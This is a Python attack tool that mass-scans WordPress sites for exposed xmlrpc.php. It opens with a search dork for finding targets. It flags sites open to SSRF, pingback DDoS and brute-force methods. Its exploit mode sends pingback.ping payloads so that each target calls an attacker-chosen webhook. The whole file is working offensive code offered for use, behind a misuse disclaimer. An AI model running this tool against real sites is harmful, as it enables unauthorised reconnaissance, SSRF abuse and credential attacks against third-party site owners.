xmlrpc.py

# Dork: inurl:"/xmlrpc.php?rsd" & ext:php

import requests
import argparse
from colorama import Fore, Back, Style, init



parser = argparse.ArgumentParser(description="Tool to explore vulnerabilities in xmlrpc.php. The author takes no responsibility for any misuse. Use at your own risk!")

parser.add_argument('-l', '--list',required=True ,help="Path to URL list file (e.g., filtered.txt)")
parser.add_argument('-f', '--filter',action='store_true', help="Filter '?rsd' from URLs")
parser.add_argument('-s', '--ssrf' ,action='store_true', help="Check if site supports SSRF via 'pingback.ping'")
parser.add_argument('-b', '--brute_check',action='store_true', help="Check for XML-RPC brute-force capable methods")
parser.add_argument('-d', '--ddos_check',action='store_true', help="Check if site is vulnerable to XML-RPC DDoS")
parser.add_argument('-e', '--exploit',action='store_true', help="Exploit SSRF vulnerability (requires --webhook)")
parser.add_argument('-w', '--webhook', help="Webhook for SSRF exploit")
parser.add_argument('-x', '--examples', action='store_true', help="Show usage examples and Contacts")


args = parser.parse_args()

if args.examples:
    print(f"""Examples:
    {Fore.LIGHTCYAN_EX}python xmlrpc.py --filter -l results.txt
    {Fore.MAGENTA}python xmlrpc.py -l filtered.txt -s
    {Fore.YELLOW}python xmlrpc.py --list may_vulnerable.txt --exploit -w YOUR_WEBHOOK
    {Fore.GREEN}Thanks for using this tool!
    {Fore.BLUE}My Github: https://github.com/WhiteeRabbit""")
    exit(0)



headers = {
    'Content-Type': 'text/xml',
    'User-Agent': 'Mozilla/5.0'
}

xml_payload = '''<?xml version="1.0"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params></params>
</methodCall>
'''


def filtr(u):
    try:
        filtered_url = []

        with open(str(u), 'r') as f:
            for url in f.readlines():
                url = url.strip()
                if url.endswith('?rsd'):
                    url = url[:-4]
                else:
                    continue
                filtered_url.append(url)
                print(url)

        with open("filtered.txt" , "w") as f:
            for i in filtered_url:
                f.write(i + '\n')
            print(Fore.YELLOW+"[*] All urls were filtered in filtered.txt")
    except Exception as e:
        print(Fore.RED + f"[!] Error during filtering: {e}")

def ssrf(w:str):
    try:
        url_list = []

        with open(w, "r") as f:
            for url in f.readlines():
                url_list.append(url.strip())

        for url in url_list:
            try:
                r = requests.post(url, data=xml_payload, headers=headers , timeout=7)
                if "pingback.ping" in r.text:
                    with open("may_vulnerable.txt" , "a") as f:
                        f.write(url + "\n")
                    print(Fore.GREEN + "[+]" + url)
                else:
                    print(Fore.RED + "[-]" + url)
            except requests.RequestException as e:
                print(Fore.RED + f"[-] {url} - Request failed: {e}")
    except Exception as e:
            print(Fore.RED + f"[!] Error in SSRF scan: {e}")


def exploit(l,w):
    try:
        if not w:
            print(Fore.RED + "[!] Webhook is required for exploitation")
            return
        urls = []
        with open(l , "r") as f:
            for url in f.readlines():
                urls.append(url.strip())
                
        for url in urls:
            payload = f'''<?xml version="1.0"?>
        <methodCall>
        <methodName>pingback.ping</methodName>
        <params>
            <param>
            <value><string>https://{w}</string></value>
            </param>
            <param>
            <value><string>{url}</string></value>
            </param>
        </params>
        </methodCall>
        '''

            try:
                r = requests.post(url, data=payload, headers=headers , timeout=7)
                if "<name>faultCode</name>" in r.text and "<value><int>0</int></value>" in r.text:
                    print(Fore.GREEN + "[+]" + url)
                else:
                    print(Fore.RED + "[-]" + url)
            except:
                print(Fore.RED+ '[-]' + url)
    except Exception as e:
        print(Fore.RED + f"[!] Exploit error: {e}")


def ddos(w):
    try:
        url_list = []

        with open(w, "r") as f:
            for url in f.readlines():
                url_list.append(url[:-1])

        for url in url_list:
            try:
                r = requests.post(url, data=xml_payload, headers=headers , timeout=7)
                if "pingback.ping" in r.text:
                    with open("may_vulnerable.txt" , "a") as f:
                        f.write(url + "\n")
                    print(Fore.GREEN + "[+]" + url)
                else:
                    print(Fore.RED + "[-]" + url)
            except:
                print(Fore.RED+ '[-]' + url)
    except Exception as e:
        print(Fore.RED + f"[!] DDoS check error: {e}")

def brute(w):
    try:
        url_list = []

        with open(w, "r") as f:
            for url in f.readlines():
                url_list.append(url[:-1])

        for url in url_list:
            try:
                r = requests.post(url, data=xml_payload, headers=headers , timeout=7)
                if "wp.getUsersBlogs" in r.text or "wp.getProfile" in r.text or "wp.getPage" in r.text or "wp.getPosts" in r.text or "wp.getCategories" in r.text:
                    with open("may_vulnerable.txt" , "a") as f:
                        f.write(url + "\n")
                    print(Fore.GREEN + "[+]" + url)
                else:
                    print(Fore.RED + "[-]" + url)
            except:
                print(Fore.RED+ '[-]' + url)
    except Exception as e:
        print(Fore.RED + f"[!] Brute check error: {e}")

if args.ssrf:
    ssrf(args.list)

if args.exploit:
    exploit(args.list , args.webhook)

if args.ddos_check:
    ddos(args.list)

if args.brute_check:
    brute(args.list)

if args.filter:
    filtr(args.list)